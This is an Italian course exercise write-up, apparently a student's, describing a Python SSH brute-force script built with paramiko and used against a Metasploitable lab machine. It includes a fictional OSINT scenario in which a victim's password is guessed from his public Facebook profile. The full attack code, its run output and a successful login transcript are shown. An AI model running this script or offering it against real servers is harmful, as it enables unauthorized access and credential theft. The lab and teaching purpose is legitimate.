Esercizio W8D4 Facoltativo (Benchmark 2)

RICHIESTA

La parte facoltativa dell'esercizio W8D4 (Benchmark 2) chiedeva all'utente di scrivere un programma che permettesse l'esecuzione di un attacco Brute-Force a un servizio SSH su una macchina Debian/Ubuntu. Il programma poteva essere scritto in Python o in C, a discrezione dell'utente

~~~

SCENARIO

Per contestualizzare l'attacco e renderlo più verosimile, ho immaginato uno scenario in cui rivesto il ruolo dell'attaccante. **Il target identificato** è Gennaro Esposito, un impiegato amministrativo che per le sue mansioni ha necessità di accedere a un server interno dell'azienda tramite SSH.

L'impiegato non ha una forte preparazione informatica, e per questo in combinazione con il nome account che gli ha dato la società - ***gesposito*** - ha selezionato una password debole, composta solo da caratteri maiuscoli, minuscoli e numeri - nello scenario la password è ***Maradona10*** -.

Come attaccante, ho scoperto che il profilo Facebook di Gennaro Esposito è pubblico. Grazie a questa sua imprudenza - data come detto dalla scarsa preparazione informatica - ho scoperto che è nato nel 1983, che è un grandissimo tifoso del Napoli e che, in particolare, è ossessionato dalla figura di Diego Armando Maradona.

~~~

SOLUZIONE

Il vero protagonista in negativo del nostro attacco è il protocollo SSH, una sorta di "tunnel" che crea un canale di comunicazione fra due PC. Utilizzato in maniera lecita, consente di controllare un PC lontano da remoto ma, per lo stesso motivo, può essere utilizzato per degli attacchi informatici.

Ho quindi creato un programma che consente di provare un gran numero di combinazioni di nome utente e password, così da trovare quelli utilizzati dalla vittima e, attraverso il già citato protocollo SSH, prendere silenziosamente il controllo della sua macchina.

La raccolta di informazioni sulla vittima (OSINT) mi ha consentito di fare alcune ipotesi sensate sulla password in uso, così da provare a restringere il campo da milioni di possibili combinazioni a una lista molto più piccola. L'utilizzo di una lista più piccola, in combinazione con l'uso di una password debole, consente di abbassare drasticamente i tempi necessari al furto dei dati di accesso.

ASPETTI TECNICI

Per ciò che riguarda gli aspetti tecnici, il primo passo è stato quello di creare un nuovo utente su Metasploitable che, coerentemente con quanto esposto nello scenario, avesse come nome utente **gesposito** e come password **Maradona10**. Per farlo ho utilizzato il comando *sudo adduser gesposito*.

La macchina Metasploitable, secondo quanto richiesto in fase di creazione del laboratorio virtuale, ha indirizzo IP **192.168.50.101/24** e indirizzo Gateway 192.168.50.1.

Passando alla parte di programmazione, ho innanzitutto importato la libreria **paramiko**, essenziale per la gestione del protocollo SSH. Ho creato poi cinque funzioni, (macchinaTarget, caricamentoUsername, caricamentoPassword, creazioneLista e bruteForce) che si occupano rispettivamente di chiedere all'utente di inserire IP e porta del target (macchinaTarget), del caricamento del dictionary di username e password (caricamentoUsername e caricamentoPassword), dell'inclusione di tutti i dati dei file in due liste diverse (creazioneLista) e infine dell'attacco bruteForce vero e proprio.

La logica dell'attacco è contenuta come detto nella **funzione bruteForce** che, in sostanza, si occupa di associare a ogni username della nostra lista ogni username e, tramite il metodo paramiko.SSHClient(), testare ogni volta la combinazione. A puro scopo didattico, ho incluso la stampa a video di ogni tentativo per dare prova del tentato login.

Quando il ciclo di tentativi giunge a provare la combinazione esatta (*gesposito - Maradona10*), il programma stampa a video un messaggio per segnalare **la riuscita dell'attacco,** e mostra all'utente i corretti dati di login.

~~~

LISTATO

Nelle successive immagini allego l'intero listato del programma - diviso in due immagini per una migliore leggibilità - e due screenshot che provano l'effettiva riuscita dell'attacco, con l'ingresso nella VM Metasploitable - e nell'account gesposito - dalla VM attaccante Kali.

Users > pagizza > Code > bforcessh.py > ...

```python
#Importo la libreria paramiko, essenziale per la gestione del protocollo SSH
import paramiko

#Con questa funzione definisco IP e porta della macchina Target
def macchinaTarget ():...

#Con questa funzione carico il dictionary (file TXT) per gli username
def caricamentoUsername ():
    nomeFile = "username.txt"
    try:
        fileUsername = open(nomeFile, 'r')
        listaUsername = creazioneLista(fileUsername)
        return (listaUsername)
    except:
        print("Non ho trovato il file con la lista degli username")
        return

#Con questa funzione carico il dictionary (file TXT) per le password
def caricamentoPassword ():
    nomeFile = "password.txt"
    try:
        filePassword = open(nomeFile, 'r')
        listaPassword = creazioneLista(filePassword)
        return (listaPassword)
    except:
        print("Non ho trovato il file con la lista delle password")
        return

#Con questa funzione trasformo tutti i dictionary (file TXT) in una lista
def creazioneLista (fileAperto):
    listaElementi = []
    for riga in fileAperto:
        rigaPulita = riga.strip()
        listaElementi.append(rigaPulita)
    return listaElementi

```
~~~

Users > pagizza > Code > bforcessh.py > ...

```python
#Con questa funzione gestisco la logica dell'attacco BruteForce
def bruteForce (ipTarget, portaTarget, listaUsername, listaPassword):
    #Con il FOR provo ogni username in combinazione con ogni password
    for elementoUsername in listaUsername:
        for elementoPassword in listaPassword:
            clientSSH = paramiko.SSHClient()
            clientSSH.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            print(f"Sto provando la combinazione: {elementoUsername} {elementoPassword}")
            #Con il TRY evidenzio quando la combinazione è corretta
            try:
                clientSSH.connect(hostname=ipTarget, port=portaTarget, username=elementoUsername, password=elementoPassword )
                print("**********")
                print("Ho trovato le credenziali: ")
                print("**********")
                print(f"Username: {elementoUsername}")
                print(f"Password: {elementoPassword}")
                print("**********")
                return (True)
            except:
                pass
    #Qui gestisco l'uscita dal FOR qualora non si trovi la combinazione
    print("Non ho trovato le credenziali di accesso")
    return (False)

#Questa è la main che richiama le giuste funzioni
ipMacchinaTarget, portaMacchinaTarget = macchinaTarget()
print("**********")
print("Inizio della ricerca")
print("**********")
listaUsernameCompleta = caricamentoUsername()
listaPasswordCompleta = caricamentoPassword()
bruteForce(ipMacchinaTarget, portaMacchinaTarget, listaUsernameCompleta, listaPasswordCompleta )
```

```
kali% python3 bforcessh.py
**********
Inserisci l'IP della macchina target: 192.168.50.101
Inserisci la porta della macchina target: 22
**********
Inizio della ricerca
**********
Sto provando la combinazione: g.esposito Maradona83
Sto provando la combinazione: g.esposito Maradona10
Sto provando la combinazione: g.esposito Dmaradona10
Sto provando la combinazione: g.esposito Dmaradona83
Sto provando la combinazione: g.esposito DAMaradona83
Sto provando la combinazione: g.esposito DAMaradona10
Sto provando la combinazione: gesposito Maradona83
Sto provando la combinazione: gesposito Maradona10
**********
Ho trovato le credenziali:
**********
Username: gesposito
Password: Maradona10
**********
kali% _
```

```
gesposito@metasploitable: ~
File  Actions  Edit  View  Help
kali% ssh gesposito@192.168.50.101
gesposito@192.168.50.101's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 19 18:03:05 2025 from 192.168.50.100
gesposito@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
gesposito@metasploitable:~$ _
```